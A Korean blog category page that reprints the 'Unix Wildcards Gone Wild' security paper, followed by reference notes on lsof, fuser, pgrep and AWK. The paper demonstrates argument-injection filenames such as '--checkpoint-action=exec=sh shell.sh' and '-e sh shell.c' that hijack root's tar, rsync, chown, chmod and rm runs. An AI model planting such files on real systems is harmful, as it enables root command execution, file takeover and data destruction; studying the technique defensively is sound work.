'명령어'에 해당되는 글 12건

  1. 2014.08.28 Unix Wildcards Gone Wild
  2. 2014.05.29 lsof , fuser, pgrep 명령어 정리
  3. 2012.10.15 AWK 명령어 기초 (두개 텍스트 파일 조건 합치기)
2014.08.28 14:58

Unix Wildcards Gone Wild

Back To The Future: Unix Wildcards Gone Wild

============================================ - Leon Juranic <leon@defensecode.com> - Creation Date: 04/20/2013 - Release Date: 06/25/2014 Table Of Content: ===[ 1. Introduction ===[ 2. Unix Wildcards For Dummies ===[ 3. Wildcard Wilderness ===[ 4. Something more useful... 4.1 Chown file reference trick (file owner hijacking) 4.2 Chmod file reference trick 4.3 Tar arbitrary command execution 4.4 Rsync arbitrary command execution ===[ 5. Conclusion ===[ 1. Introduction First of all, this article has nothing to do with modern hacking techniques like ASLR bypass, ROP exploits, 0day remote kernel exploits or Chrome's Chain-14-Different-Bugs-To-Get-There... Nope, nothing of the above. This article will cover one interesting old-school Unix hacking technique, that will still work nowadays in 2013. Hacking technique of which (to my suprise) even many security-related people haven't heard of. That is probably because nobody ever really talked about it before. Why I decided to write on this subject is because, to me personally, it's pretty funny to see what can be done with simple Unix wildcard poisoning tricks. So, from this article, what you can expect is collection of neat *nix hacking tricks that as far as I know somehow didn't emerge earlier. If you wonder how basic Unix tools like 'tar' or 'chown' can lead to full system compromise, keep on reading. Ladies and gentleman; take your seats, fasten your belts and hold on tight - cause we're going straight back to the 80's, right to the Unix shell hacking... (Is this bad-hair-rock/groovy disco music playing in the background? I think sooo...) ===[ 2. Unix Wildcards For Dummies If you already know what Unix wildcards are, and how (and why) are they used in shell scripting, you should skip this part. However, we will include Wildcard definition here just for the sake of consistency and for potential newcomers. Wildcard is a character, or set of characters that can be used as a replacement for some range/class of characters. Wildcards are interpreted by shell before any other action is taken. Some Shell Wildcards: * An asterisk matches any number of characters in a filename, including none. ? The question mark matches any single character. [ ] Brackets enclose a set of characters, any one of which may match a single character at that position. - A hyphen used within [ ] denotes a range of characters. ~ A tilde at the beginning of a word expands to the name of your home directory. If you append another user's login name to the character, it refers to that user's home directory. Basic example of wildcards usage: # ls *.php - List all files with PHP extension # rm *.gz - Delete all GZIP files # cat backup* - Show content of all files which name is beginning with 'backup' string # ls test? - List all files whose name is beginning with string 'test' and has exactly one additional character ===[ 3. Wildcard Wilderness Wildcards as their name states, are "wild" by their nature, but moreover, in some cases, wildcards can go berserk. During the initial phase of playing with this interesting wildcard tricks, I've talked with dozen old-school Unix admins and security people, just to find out how many of them knows about wildcard tricks, and potential danger that they pose. To my suprise, only two of 20 people stated that they know it's not wise to use wildcard, particulary in 'rm' command, because someone could abuse it with "argument-like-filename". One of them said that he heard of that years ago on some basic Linux admin course. Funny. Simple trick behind this technique is that when using shell wildcards, especially asterisk (*), Unix shell will interpret files beginning with hyphen (-) character as command line arguments to executed command/program. That leaves space for variation of classic channeling attack. Channeling problem will arise when different kind of information channels are combined into single channel. Practical case in form of particulary this technique is combining arguments and filenames, as different "channels" into single, because of using shell wildcards. Let's check one very basic wildcard argument injection example. [root@defensecode public]# ls -al total 20 drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 . drwx------. 22 leon leon 4096 Oct 28 16:15 .. drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1 drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2 drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3 -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt -rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt -rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf We have directory with few subdirectories and few files in it. There is also file with '-rf' filename ther owned by the user 'nobody'. Now, let's run 'rm *' command, and check directory content again. [root@defensecode public]# rm * [root@defensecode public]# ls -al total 8 drwxrwxr-x. 2 leon leon 4096 Oct 28 17:05 . drwx------. 22 leon leon 4096 Oct 28 16:15 .. -rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf Directory is totally empty, except for '-rf' file in it. All files and directories were recursively deleted, and it's pretty obvious what happened... When we started 'rm' command with asterisk argument, all filenames in current directory were passed as arguments to 'rm' on command line, exactly same as following line: [user@defensecode WILD]$ rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf Since there is '-rf' filename in current directory, 'rm' got -rf option as the last argument, and all files in current directory were recursively deleted. We can also check that with strace: [leon@defensecode WILD]$ strace rm * execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt", "file3.txt", "-rf"], [/* 25 vars */]) = 0 ^- HERE Now we know how it's possible to inject arbitrary arguments to the unix shell programs. In the following chapter we will discuss how we can abuse that feature to do much more than just recursively delete files. ===[ 4. Something more useful... Since now we know how it's possible to inject arbitrary arguments to shell commands, let's demonstrate few examples that are more useful, than just recursive file unlinking. First, when I stumbled across this wildcard tricks, I was starting to look for basic and common Unix programs that could be seriously affected with arbitrary and unexpected arguments. In real-world cases, following examples could be abused in form of direct interactive shell poisoning, or through some commands started from cron job, shell scripts, through some web application, and so on. In all examples below, attacker is hidden behind 'leon' account, and victim is of course - root account. ==[ 4.1 Chown file reference trick (file owner hijacking) First really interesting target I've stumbled across is 'chown'. Let's say that we have some publicly writeable directory with bunch of PHP files in there, and root user wants to change owner of all PHP files to 'nobody'. Pay attention to the file owners in the following files list. [root@defensecode public]# ls -al total 52 drwxrwxrwx. 2 user user 4096 Oct 28 17:47 . drwx------. 22 user user 4096 Oct 28 17:34 .. -rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php -rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php -rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php -rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php -rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php -rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php -rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php -rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php -rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php -rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php -rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php -rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php -rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php -rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php -rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php Files in this public directory are mostly owned by the user named 'user', and root user will now change that to 'nobody'. [root@defensecode public]# chown -R nobody:nobody *.php Let's see who owns files now... [root@defensecode public]# ls -al total 52 drwxrwxrwx. 2 user user 4096 Oct 28 17:47 . drwx------. 22 user user 4096 Oct 28 17:34 .. -rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php -rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php -rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php -rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php -rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php -rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php -rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php -rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php -rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php -rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php -rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php -rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php -rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php -rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php -rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php Something is not right... What happened? Somebody got drunk here. Superuser tried to change files owner to the user:group 'nobody', but somehow, all files are owned by the user 'leon' now. If we take closer look, this directory previously contained just the following two files created and owned by the user 'leon'. -rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php -rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php Thing is that wildcard character used in 'chown' command line took arbitrary '--reference=.drf.php' file and passed it to the chown command at the command line as an option. Let's check chown manual page (man chown): --reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values So in this case, '--reference' option to 'chown' will override 'nobody:nobody' specified as the root, and new owner of files in this directory will be exactly same as the owner of '.drf.php', which is in this case user 'leon'. Just for the record, '.drf' is short for Dummy Reference File. :) To conclude, reference option can be abused to change ownership of files to some arbitrary user. If we set some other file as argument to the --reference option, file that's owned by some other user, not 'leon', in that case he would become owner of all files in this directory. With this simple chown parameter pollution, we can trick root into changing ownership of files to arbitrary users, and practically "hijack" files that are of interest to us. Even more, if user 'leon' previously created a symbolic link in that directory that points to let's say /etc/shadow, ownership of /etc/shadow would also be changed to the user 'leon'. ===[ 4.2 Chmod file reference trick Another interesting attack vector similar to previously described 'chown' attack is 'chmod'. Chmod also has --reference option that can be abused to specify arbitrary permissions on files selected with asterisk wildcard. Chmod manual page (man chmod): --reference=RFILE use RFILE's mode instead of MODE values Example is presented below. [root@defensecode public]# ls -al total 68 drwxrwxrwx. 2 user user 4096 Oct 29 00:41 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php -rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php -rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php -rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php -rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php -rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php -rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php -rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php -rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php -rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php -rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php -rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php -rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php Superuser will now try to set mode 000 on all files. [root@defensecode public]# chmod 000 * Let's check permissions on files... [root@defensecode public]# ls -al total 68 drwxrwxrwx. 2 user user 4096 Oct 29 00:41 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rwxrwxrwx. 1 user user 20480 Oct 28 19:13 admin.php -rwxrwxrwx. 1 user user 34 Oct 28 17:47 ado.php -rwxrwxrwx. 1 user user 187 Oct 28 17:44 db.php -rwxrwxrwx. 1 user user 201 Oct 28 17:43 download.php -rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php -rwxrwxrwx. 1 user user 43 Oct 28 17:35 file1.php -rwxrwxrwx. 1 user user 56 Oct 28 17:47 footer.php -rwxrwxrwx. 1 user user 357 Oct 28 17:36 global.php -rwxrwxrwx. 1 user user 225 Oct 28 17:37 header.php -rwxrwxrwx. 1 user user 117 Oct 28 17:36 inc.php -rwxrwxrwx. 1 user user 111 Oct 28 17:38 index.php -rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php -rwxrwxrwx. 1 user user 94 Oct 28 17:38 script.php What happened? Instead of 000, all files are now set to mode 777 because of the '--reference' option supplied through file name.. Once again, file .drf.php owned by user 'leon' with mode 777 was used as reference file and since --reference option is supplied, all files will be set to mode 777. Beside just --reference option, attacker can also create another file with '-R' filename, to change file permissions on files in all subdirectories recursively. ===[ 4.3 Tar arbitrary command execution Previous example is nice example of file ownership hijacking. Now, let's go to even more interesting stuff like arbitrary command execution. Tar is very common unix program for creating and extracting archives. Common usage for lets say creating archives is: [root@defensecode public]# tar cvvf archive.tar * So, what's the problem with 'tar'? Thing is that tar has many options, and among them, there some pretty interesting options from arbitrary parameter injection point of view. Let's check tar manual page (man tar): --checkpoint[=NUMBER] display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint There is '--checkpoint-action' option, that will specify program which will be executed when checkpoint is reached. Basically, that allows us arbitrary command execution. Check the following directory: [root@defensecode public]# ls -al total 72 drwxrwxrwx. 2 user user 4096 Oct 28 19:34 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php -rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php -rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1 -rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh -rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php -rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php -rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php -rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php -rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php -rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php -rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php -rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php -rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php -rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh Now, for example, root user wants to create archive of all files in current directory. [root@defensecode public]# tar cf archive.tar * uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command execution under root privileges. Once again, there are few files created by user 'leon'. -rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1 -rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh -rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the 'tar' program as command line options. Basically, they command tar to execute shell.sh shell script upon the execution. [root@defensecode public]# cat shell.sh /usr/bin/id So, with this tar argument pollution, we can basically execute arbitrary commands with privileges of the user that runs tar. As demonstrated on the 'root' account above. ===[ 4.4 Rsync arbitrary command execution Rsync is "a fast, versatile, remote (and local) file-copying tool", that is very common on Unix systems. If we check 'rsync' manual page, we can again find options that can be abused for arbitrary command execution. Rsync manual: "You use rsync in the same way you use rcp. You must specify a source and a destination, one of which may be remote." Interesting rsync option from manual: -e, --rsh=COMMAND specify the remote shell to use --rsync-path=PROGRAM specify the rsync to run on remote machine Let's abuse one example directly from the 'rsync' manual page. Following example will copy all C files in local directory to a remote host 'foo' in '/src' directory. # rsync -t *.c foo:src/ Directory content: [root@defensecode public]# ls -al total 72 drwxrwxrwx. 2 user user 4096 Mar 28 04:47 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php -rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php -rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php -rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php -rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php -rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php -rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php -rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php -rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php -rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c Now root will try to copy all C files to the remote server. [root@defensecode public]# rsync -t *.c foo:src/ rsync: connection unexpectedly closed (0 bytes received so far) [sender] rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8] Let's see what happened... [root@defensecode public]# ls -al total 76 drwxrwxrwx. 2 user user 4096 Mar 28 04:49 . drwx------. 24 user user 4096 Oct 28 18:32 .. -rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php -rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php -rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php -rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php -rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php -rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php -rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php -rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php -rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php -rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c -rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt There were two files owned by user 'leon', as listed below. -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c After 'rsync' execution, new file shell_output.txt whose owner is root is created in same directory. -rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt If we check its content, following data is found. [root@defensecode public]# cat shell_output.txt uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Trick is that because of the '*.c' wildcard, 'rsync' got '-e sh shell.c' option on command line, and shell.c will be executed upon 'rsync' start. Content of shell.c is presented below. [root@defensecode public]# cat shell.c /usr/bin/id > shell_output.txt ===[ 5. Conclusion Techniques discussed in article can be applied in different forms on various popular Unix tools. In real-world attacks, arbitrary shell options/arguments could be hidden among regular files, and not so easily spotted by administrator. Moreover, in case of cron jobs, shell scripts or web applications that calls shell commands, that's not even important. Moreover, there are probably much more popular Unix tools susceptible to previously described wildcard attacks. Thanks to Hrvoje Spoljar and Sec-Consult for a few ideas regarding this document.



출처 : exploit-db.com


Trackback 0 Comment 0
2014.05.29 18:42

lsof , fuser, pgrep 명령어 정리

lsof 정리

일반적으로 시스템에서 동작하고 있는 모든 프로세스에 의해서 열리어진 파일들에 
관한 정보를 보여주는 시스템 관리 명령어


1. lsof 파일명

지정한 파일을 엑세스 하고 있는 프로세스의 정보를 보여준다.

# lsof /usr/sbin/proftpd 
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
proftpd 647 nobody txt REG 8,2 433516 209221 /usr/sbin/proftpd

 

2. lsof /tmp

지정한 디렉토리를 엑세스 하고 있는 프로세스의 정보를 보여준다.

# lsof /tmp
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
libhttpd. 27187 root 3u REG 7,0 0 13 /tmp/ZCUD5mDv1l (deleted)
libhttpd. 27318 nobody 3u REG 7,0 0 13 /tmp/ZCUD5mDv1l (deleted)
libhttpd. 27319 nobody 3u REG 7,0 0 13 /tmp/ZCUD5mDv1l (deleted)
libhttpd. 27320 nobody 3u REG 7,0 0 13 /tmp/ZCUD5mDv1l (deleted)
libhttpd. 27321 nobody 3u REG 7,0 0 13 /tmp/ZCUD5mDv1l (deleted)

 

3. lsof -i

모든 네트워크 연결되어 있는 프로세스와 파일을 정보를 보여준다.

# lsof -i
sshd 586 root 3u IPv4 1877 TCP *:ssh (LISTEN)
xinetd 600 root 5u IPv4 1943 TCP *:pop3 (LISTEN)
sendmail 619 root 4u IPv4 1962 TCP *:smtp (LISTEN)
proftpd 647 nobody 0u IPv4 315947 TCP *:ftp (LISTEN)
mysqld 708 mysql 3u IPv4 2652 TCP *:mysql (LISTEN)


ex)lsof -iTCP ; lsof -iUDP
tcp 나 혹은 UDP를 걸러서 볼때 사용한다.

 

4. lsof -c 데몬명

지정한 데몬과 연결되어 있는 프로세스와 파일을 정보를 보여준다.

# lsof -c proftpd
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
proftpd 647 nobody cwd DIR 8,3 4096 2 /
proftpd 647 nobody rtd DIR 8,3 4096 2 /
proftpd 647 nobody txt REG 8,2 433516 209221 /usr/sbin/proftpd
proftpd 647 nobody mem REG 8,3 106424 15973 /lib/ld-2.3.2.so
proftpd 647 nobody mem REG 8,3 23404 15994 /lib/libcrypt-2.3.2.so
proftpd 647 nobody mem REG 8,3 30488 17917 /lib/libpam.so.0.75
proftpd 647 nobody mem REG 8,3 1571340 95813 /lib/tls/libc-2.3.2.so
proftpd 647 nobody mem REG 8,3 14888 15996 /lib/libdl-2.3.2.so
proftpd 647 nobody mem REG 8,3 8612 17914 /lib/liblaus.so.1.0.0
proftpd 647 nobody mem REG 8,3 51908 16016 /lib/libnss_files-2.3.2.so
proftpd 647 nobody 0u IPv4 315947 TCP *:ftp (LISTEN)
proftpd 647 nobody 4r REG 8,3 3509 82811 /etc/passwd
proftpd 647 nobody 5r REG 8,3 1241 83170 /etc/group


5. lsof -p 프로세스ID

지정한 프로세스와 관련된 프로세스와 파일의 정보를 보여준다.

# lsof -p 1
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
init 1 root cwd DIR 8,3 4096 2 /
init 1 root rtd DIR 8,3 4096 2 /
init 1 root txt REG 8,3 27036 16204 /sbin/init
init 1 root mem REG 8,3 1571340 95813 /lib/tls/libc-2.3.2.so
init 1 root mem REG 8,3 106424 15973 /lib/ld-2.3.2.so
init 1 root 10u FIFO 8,3 71415 /dev/initctl


해킹 추적

시나리오

#lsof -i -> 기본 포트연것을 확인한다.
#lsof -p -> 프로세스를 분석한다.
#lsof /home/홈페이지 디렉토리 -> 특정디렉토리에 있는 프로세스 검사
#lsof /tmp -> 임시파일 관련 프로세스 분석
#lsof /dev -> 정규 해킹 디렉토리 분석


 

fuser  정리

#fuser 21/tcp                        ----> 포트/tcp,udp :  열린포트 pid 찾기

21/tcp:                931          

 

# fuser -cu /var 
하면 현재 /var라는 디렉토리를 사용하고 있는 유저나 데몬의 process가 열거된다... 
그 열거된 pid를 보고 어떤 데몬이 사용하고 있고 어떤 유저가 사용하고 있는지 알 수 있다.

 

# fuser -ck /var 
하면 /var라는 디렉토리를 사용하고 있는 유저나 데몬의 process id 를 모두 'kill -9' 와 같은 행동을 하게 된다.

이 명령어는 주의해서 사용하길 잘못 명령어 먹였다가 서버 리셋 해야된다.ㅋㅋ

 

fuser : 특정 파일이나 파일시스템, 포트등에서 사용중인 프로세스를 확인할 때 사용.

 

옵션정리
-a : 사용되지 있지않은 파일까지도 표시
-k : 지정된 파일과 관련된 모든 프로세스들을 KILL
-i : 프로세스를 KILL시키기 전에 사용자에게 확인
-l : 사용가능한 signal을 출력
-m : 지정한 파일이나 디렉토리가 마운트된 파일시스템에서 실행되고 있는 프로세스의 PID 출력
-n space : 지정된 공간(file, udp or tcp)내에서 검색
-s : 결과를 간략히 출력
-signal : 지정된 프로세스에 기본 signal인 SIGKILL 외에 지정된 signal을 보냄
-u : 프로세스 ID(PID)의 소유자를 보여준다.
-v : 자세한 출력모드 (프로세스의 User, PID, ACCESS, COMMAND를 보여줌)

 

1. 특정 파일을 사용하고 있는 프로세스(pid)확인
fuser /var/log/messages

 

2. 특정 파일을 사용하고 있는 프로세스(pid) 및 user 확인
fuser -u /var/log/messages

 

3. 특정 프로토콜, 포트를 사용중인 프로세스 확인
fuser -vn tcp ftp
fuser -vn tcp 1111

 

4. -k옵션을 사용하여 프로세스 kill
fuser -vn tcp ssh
fuser -kn tcp ssh
fuser -vn tcp ssh

 

 

pgrep 정리

pgrep으로 실행중인 프로세스 찾기
 
♧ pgrep을 사용하여 가장 기본적인 형태로, 이름을(또는 일부) 검색.

 

▶ 기본적인 사용 예제:

# pgrep init

1

2689
 프로세스 ID를 보여줌
 
# pgrep -l init

1          init

2689   xinit
 -l 옵션 : 프로세스 이름을 보여줌
 
# pgrep -lu apache

2551    sshd

2552    bash

2803    vim
 -u 옵션 : 유저와 관련된 프로세스 찾기
 

 

▶ ps 와 pgrep 결합 사용 예:

/* sshd 및 실행에 대한 검색의 ps(간단하게) */

# ps -p `pgrep sshd`


  PID     TTY      STAT   TIME    COMMAND

  626    ?           Ss        0:00     /usr/sbin/sshd -D

 4000   ?          Ss        0:00     sshd: devanix [priv]

 4110   ?          S           0:01     sshd: devanix@pts/1

 

/* sshd 및 실행에 대한 검색의 ps(전체) */

# ps -fp $(pgrep sshd)


UID         PID      PPID   C    STIME  TTY      STAT   TIME    CMD

root         626      1         0     Aug12   ?           Ss       0:00     /usr/sbin/sshd -D

root         4000    626    0    01:59     ?           Ss       0:00     sshd: devanix [priv]

devanix   4110   4000  0    01:59     ?           S         0:01     sshd: devanix@pts/1

 


 

/* firefox 검색, 우선순위 향상 */

# sudo renice -5 $(pgrep firefox)

20522:  old  priority 0, new priority -5

20527:  old  priority 0, new priority -5
 

☞ 이러한 방법으로 입력한 프로세스 ID와 pgrep을 결합할 수 있다.




출처 : http://blog.naver.com/nforce7050/


Trackback 0 Comment 0
2012.10.15 21:21

AWK 명령어 기초 (두개 텍스트 파일 조건 합치기)

AWK

  1. awk는 직접 사용자로부터 입력을 받거나 아니면 지정한 파일을 가공하여 표준 출력한다
    표준 출력을 리다이렉션할 수 있다 
  2. 사용법
    • awk   [옵션]   '스크립트'   [-v 변수=값]   [파일(들)]
    • awk   [옵션]   -f  스크립트 파일   [-v 변수=값]   [파일(들)]
    • cf) 편집 스크립트 파일의 사용법
      • ed  : ed -s(script) sourcefile < scriptfile
      • sed :  sed -f(file) scriptfile sourcefile > outputfile
      • awk : awk -f(file) scriptfile sourcefile > outputfile
  3. 옵션
    • -Fc  :  field separator 지정
      • c는 필드 사이를 구분하는 구분자이다
      • 직접 지정하지 않으면 공백을 기준으로 한다
      • 시스템 변수 FS를 지정하는 것과 같은 효과를 지닌다
    • -v  변수 = 값
      • 스크립트를 실행하기 전에 미리 변수를 지정하여 준다
    • -f  스크립트 파일
      • 스크립트를 파일에서 가져온다  
      • -f 옵션을 여러번 사용하여 여러개의 스크립트 파일을 동시에 불러와 지정한 파일에 적용할 수 있다 
  4. 스크립트
    • 패턴 { 동작 }
      커맨드 라인에서는 패턴, 동작 전체를 단일 따옴표로 묶는다
      • 패턴만 있는 경우 : 패턴과 일치하는 레코드(라인)를 화면에 출력한다 
      • 동작만 있는 경우 : 모든 레코드(라인)가 동작의 대상이 된다
    • 패턴
      1. /정규표현식/
        sed가 지원하지 않는 +, ?, |, ( ) 등의 메타문자도 지원한다   또한
        ^, $를 각 필드의 처음과 끝을 의미하도록 사용할 수도 있다
      2. 비교연산
        숫자 기준, 알파벳 기준 모두 사용 가능하다 
      3. 패턴 매칭 연산
        ~  :  일치하는 부분을 나타낸다
        !~ :  일치하지 않는 부분을 나타낸다
      4. BEGIN
        첫 번째 레코드가 읽혀지기 전에 어떤 동작을 정의하여 사용하고 싶을 때 사용한다 
      5. END
        마지막 레코드가 모두 읽혀진 후 어떤 동작을 정의하여 실행하고 싶을 때 사용한다 
    • 동작
      • 동작은 모두 { }로 둘러싸야 한다
      • 예제
        • good이라는 문자열을 포함하는 모든 레코드를 출력할 때
          /good/
        • 각 레코드의 첫 번째 필드를 출력할 때
          { print $1 } 
        • good이라는 문자열을 포함하는 레코드의 첫 번째 필드를 출력할 때
          /good/ { print $1 } 
        • 두 개 이상의 필드를 가지는 레코드를 전부 출력할 때(비교연산)
          NF > 2
        • 한 라인(n)을 필드로, 빈 라인("")을 레코드로 구분할 때
          BEGIN { FS = "n" ;  RS = ""} 
        • 첫 번째 필드가 good와 일치하는 레코드에 대해 세 번째 필드를 먼저 출력하고 두 번째 필드를 나중에 출력하고 싶을 때
          $1 ~ /good/ { print  $3 ,  $2 }
        • good이라는 문자열이 몇 개나 들어가 있는지 계산하여 마지막 부분에서 출력하고 싶을 때
          /good/ { ++x }
          END { print x } 
        • 두 번째 필드를 모두 합하고 마지막 부분에서 두 번째 필드의 총합계를 출력하고 싶을 때
          { total += $2 }
          END { print "Total of $2: " ,  total } 
        • 레코드의 길이가 20자 이하인 것을 출력하고 싶을 때
          length($0) < 20 
        • 네 개의 필드를 가지며 good이라는 단어로 시작하는 모든 레코드를 출력하고 싶을 때
          NF == 4  &&  /^good/
        • 빈줄을 제외한 모든 줄을 화면에 출력한다
          NF > 0
  5. awk 시스템 변수
      FILENAME
      현재 파일명
      $0
      입력 레코드
      FS
      입력 필드 구분
      디폴트 :  공백
      $n
      입력 레코드의 N번째 필드
      NF
      현재 레코드 필드 갯수
      ARGC
      커맨드 라인의 인자 갯수
      NR
      현재 레코드 번호
      ARGV
      커맨드 라인 인자를 포함하는 배열
      OFMT
      숫자에 대한 출력 포맷
      디폴트 :  %.6g
      ENVIRON
      환경 변수들을 모아둔 관계형 배열
      OFS
      출력 필드 구분
      디폴트 :  빈줄
      FNR
      NR과 동일
      단지 현재 파일에 적용된다는 점이 다름
      ORS
      출력 레코드 구분
      디폴트 :  newline
      RSTART
      지정한 매칭 연산을 만족하는 문자열의 맨 앞부분
      RS
      입력 레코드 구분
      디폴트 :  newline
      RLENGTH
      지정한 매칭 연산을 만족하는 문자열의 길이
  6. awk 연산자
      산술 : =, +=, -=, *=, /=, %=
      조건 : ? :
      논리 : ||, &&, !
      패턴 : ~, !~
      비교 : <, <=, >, >=, !=,==
      증감 : ++, --
      필드참조 : $
  7. 제어문(C의 제어문과 같다)
    • break
    • continue
    • do {실행} while (조건)
    • exit
    • for (관계형 배열의 요소) {실행}
      펄의 foreach와 같다
